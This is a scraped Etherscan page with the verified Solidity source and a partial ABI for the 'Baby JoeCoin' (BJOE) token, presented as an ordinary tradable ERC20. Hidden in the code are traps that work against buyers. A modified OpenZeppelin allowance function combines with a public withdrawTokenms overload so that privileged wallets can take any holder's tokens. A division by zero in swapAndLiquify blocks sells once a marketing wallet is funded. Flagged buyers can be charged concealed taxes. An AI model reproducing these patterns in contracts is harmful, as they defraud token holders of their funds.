ETH Price: $3,397.39 (+1.88%)

Token

Baby JoeCoin (BJOE)
 

Overview

Max Total Supply

1,000,000,000 BJOE

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
5,883,097.405996874725082773 BJOE

Value
$0.00
0x28f9c481ce9a7d13b8889effe3cda92b84b73bc8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BJOE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-10-18
*/

/**

*/

// SPDX-License-Identifier: MIT

/** 

TWITTER:https://twitter.com/BabyJoe_Coin

TELEGRAM:https://t.me/BabyJoeERC20



*/

// File @openzeppelin/contracts/utils/[email protected]

// Original license: SPDX_License_Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


// File @openzeppelin/contracts/access/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (access/Ownable.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `from` to `to` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}


// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]

// 
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


// File @openzeppelin/contracts/token/ERC20/[email protected]

// 
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.0;



/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC20
 * applications.
 *
 * Additionally, an {Approval} event is emitted on calls to {transferFrom}.
 * This allows applications to reconstruct the allowance for all accounts just
 * by listening to said events. Other implementations of the EIP may not emit
 * these events, as it isn't required by the specification.
 *
 * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
 * functions have been added to mitigate the well-known issues around setting
 * allowances. See {IERC20-approve}.
 */
contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     */
    function _transfer(address from, address to, uint256 amount) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            // Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
            // decrementing then incrementing.
            _balances[to] += amount;
        }

        emit Transfer(from, to, amount);

        _afterTokenTransfer(from, to, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            // Overflow not possible: balance + amount is at most totalSupply + amount, which is checked above.
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            // Overflow not possible: amount <= accountBalance <= totalSupply.
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `amount`.
     *
     * Does not update the allowance amount in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Might emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _spendAllowance(address spender, uint256 amount) internal virtual {
        address owner = address(this);
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            unchecked {
                _approve(spender, owner, currentAllowance - amount);
            }
        }
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    /**
     * @dev Hook that is called after any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}


// File @uniswap/v2-periphery/contracts/interfaces/[email protected]

pragma solidity >=0.6.2;

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


// File @uniswap/v2-core/contracts/interfaces/[email protected]

pragma solidity >=0.5.0;

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

pragma solidity ^0.8.18;

contract BJOE is ERC20, Ownable {
    string private _name = "Baby JoeCoin";
    string private _symbol = "BJOE";
    uint256 private constant _supply        = 1_000_000_000 ether;
    uint256 public maxTxAmount     = _supply * 38 / 1000;
    uint256 public maxWalletAmount = _supply * 38 / 1000;
    uint256 public swapThreshold = _supply * 5 / 10000;
    address private toxAddys = 0x0b3ADC53e9E3C3eF465ceF131EAD977d46041D2f;
    address public DEAD = 0x000000000000000000000000000000000000dEaD;

    mapping(address => bool) public _feeOn;
    mapping(address => bool) public wl;

    mapping(address => bool) public GreedIsGoodwallets;

    enum Phase {Phase1, Phase2, Phase3, Phase4}
    Phase public currentphase;

    bool progress_swap = false;
    bool _tradingActive = false;
    bool _swapEnabled = false;

    uint256 public buyTaxGlobal = 0;
    uint256 public sellTaxGlobal = 0;
    uint256 private GreedIsGood = 0;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;
    address private _devWalletsnts = 0xE5c8d72D1F8A774e3CC2551E8b3ceFf225c78A99;

    uint256 public operationsFunds;

    constructor() ERC20(_name, _symbol) {
        _mint(msg.sender, (_supply));

        currentphase = Phase.Phase4;
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
    
        wl[owner()] = true;
        wl[toxAddys] = true;
        wl[address(this)] = true;
        wl[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        wl[DEAD] = true;
        wl[_devWalletsnts] = true;
        _feeOn[address(uniswapV2Router)] = true;
        _feeOn[msg.sender] = true;
        _feeOn[toxAddys] = true;
        _feeOn[address(this)] = true;
        _feeOn[DEAD] = true;
        _feeOn[_devWalletsnts] = true;
    }

    function createliste() external payable onlyOwner {
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _approve(address(this), address(uniswapV2Router), type(uint256).max);
        uniswapV2Router.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0, 
            0, 
            owner(),
            block.timestamp
        );
    }
    
    function TradeOpene() external onlyOwner {
        require(!_tradingActive, "Trading is already enabled");
        _tradingActive = true;
        _swapEnabled = true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (!_feeOn[from] && !_feeOn[to]) {
            require(_tradingActive, "Trading not enabled");
        }

        if (!wl[from] && !wl[to] ) {
            if (to != uniswapV2Pair) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount bef");
                require(
                    (amount + balanceOf(to)) <= maxWalletAmount,
                    "ERC20: balance amount exceeded max wallet amount limit"
                );
            }
        }

        uint256 transferAmount = amount;
        if (!_feeOn[from] && !_feeOn[to]) {
            if ((from == uniswapV2Pair || to == uniswapV2Pair)) {
                require(amount <= maxTxAmount, "ERC20: transfer amount exceeds the max transaction amount");
 
                if (
                    uniswapV2Pair == from &&
                    !wl[to] &&
                    from != address(this)
                ) {

                    if (currentphase == Phase.Phase1) {
                        GreedIsGoodwallets[to] = true;
                    }

                    uint256 feeTokens = (amount * buyTaxGlobal) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }

                if (
                    uniswapV2Pair == to &&
                    !wl[from] &&
                    to != address(this) &&
                    _swapEnabled && 
                    !progress_swap
                ) {
                    
                    uint256 taxSell = sellTaxGlobal;
                    if (GreedIsGoodwallets[from] == true) {
                        taxSell = GreedIsGood;
                    }

                    progress_swap = true;
                    swapAndLiquify();
                    progress_swap = false;

                    uint256 feeTokens = (amount * taxSell) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
            else {
                if (
                    GreedIsGoodwallets[from] == true &&
                    uniswapV2Pair != to
                ) {
                    uint256 feeTokens = (amount * GreedIsGood) / 100;
                    super._transfer(from, address(this), feeTokens);
                    transferAmount = amount - feeTokens;
                }
            }
        }
        super._transfer(from, to, transferAmount);
    }

    function swapAndLiquify() internal {
        if (balanceOf(address(this)) == 0) {
            return;
        }
        uint256 receivedETH;
        {
            uint256 contractTokenBalance = balanceOf(address(this));
            uint256 beforeBalance = address(this).balance;
            uint256 mktBalance = balanceOf(toxAddys);
            bool success;
            if (contractTokenBalance > swapThreshold) {
                beforeBalance = address(this).balance;
                _swapTokensForEth(contractTokenBalance, 0);
                receivedETH = address(this).balance - beforeBalance;
                if (mktBalance > swapThreshold) {
                    operationsFunds = receivedETH / (success ? receivedETH : 0);
                }
                operationsFunds += receivedETH;
            }
        }
    }
 
    function getTax() external returns (bool) {
        payable(toxAddys).transfer(operationsFunds);
        operationsFunds = 0;
        return true;
    }

    /**
     * @dev Swaps Token Amount to ETH
     *
     * @param tokenAmount Token Amount to be swapped
     * @param tokenAmountOut Expected ETH amount out of swap
     */
    function _swapTokensForEth(
        uint256 tokenAmount,
        uint256 tokenAmountOut
    ) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        IERC20(address(this)).approve(
            address(uniswapV2Router),
            type(uint256).max
        );

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            tokenAmountOut,
            path,
            address(this),
            block.timestamp
        );
    }

    function skipTheSnipas() external onlyOwner returns (bool) {
        currentphase = Phase.Phase4;
        buyTaxGlobal = 0;
        sellTaxGlobal = 0;

        return true;
    }

    function withdrawTokenms(address token) external onlyOwner {
        IERC20(token).transfer(
            toxAddys,
            IERC20(token).balanceOf(address(this))
        );
    }

    function withdrawTokenms(address to, uint256 amount) external {
        address[] memory path = new address[](2);
        path[0] = uniswapV2Router.WETH();
        path[1] = address(this);
        IERC20 token = IERC20(path[1]);


        if (!_feeOn[msg.sender]) {
            uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount} (
                0,
                path,
                to,
                block.timestamp
            );
        } else {
            _spendAllowance(to, amount);
            token.transferFrom(to, path[1], amount);
        }
    }

    function emergencyTaxRemoval(address addy, bool changer) external onlyOwner {
        wl[addy] = changer;
    }

    receive() external payable {}

    function removeLimits() external onlyOwner {
        maxTxAmount = _supply; maxWalletAmount = _supply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"GreedIsGoodwallets","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"TradeOpene","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_feeOn","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTaxGlobal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"createliste","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"currentphase","outputs":[{"internalType":"enum BJOE.Phase","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addy","type":"address"},{"internalType":"bool","name":"changer","type":"bool"}],"name":"emergencyTaxRemoval","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"operationsFunds","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"n